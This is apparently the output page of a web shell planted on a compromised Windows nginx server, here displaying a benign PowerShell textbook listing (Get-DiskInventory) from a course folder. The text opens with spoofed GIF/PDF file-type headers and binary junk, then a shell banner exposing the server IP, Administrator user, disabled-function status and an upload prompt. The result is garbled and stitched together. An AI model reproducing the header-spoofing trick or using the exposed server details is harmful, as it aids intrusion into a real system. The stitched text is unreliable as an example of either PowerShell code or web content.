GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1861/Resources/Week/12/ |
Upload File : |
<# .SYNOPSIS Get-DiskInventory retrieves logical disk information from one or more computers. .DESCRIPTION Get-DiskInventory uses WMI to retrieve the Win32_LogicalDisk instances from one or more computers. It displays each disk's drive letter, free space, total size, and percentage of free space. Listing 20.2 Making Get-DiskInventory.ps1 an advanced script Notice the Select-Object as opposed to Format-Table we used in chapter 19. Licensed to Jim Martinson <jim.martinson@ridgewater.edu> 251Making parameters mandatory .PARAMETER computername The computer name, or names, to query. Default: Localhost. .PARAMETER drivetype The drive type to query. See Win32_LogicalDisk documentation for values. 3 is a fixed disk, and is the default. .EXAMPLE Get-DiskInventory -ComputerName SRV02 -drivetype 3 #> [CmdletBinding()] param ( [Parameter(Mandatory=$True,HelpMessage="Enter a computer name to query")] [Alias('host')] [string]$computername, [ValidateSet(2,3,5)] [int]$drivetype = 3 ) Get-CimInstance -class Win32_LogicalDisk -ComputerName $computername ` -filter "drivetype=$drivetype" | Sort-Object -property DeviceID | Select-Object -property DeviceID, @{name='FreeSpace(MB)';expression={$_.FreeSpace / 1MB -as [int]}}, @{name='Size(GB)';expression={$_.Size / 1GB -as [int]}}, @{name='%Free';expression={$_.FreeSpace / $_.Size * 100 -as [int]}}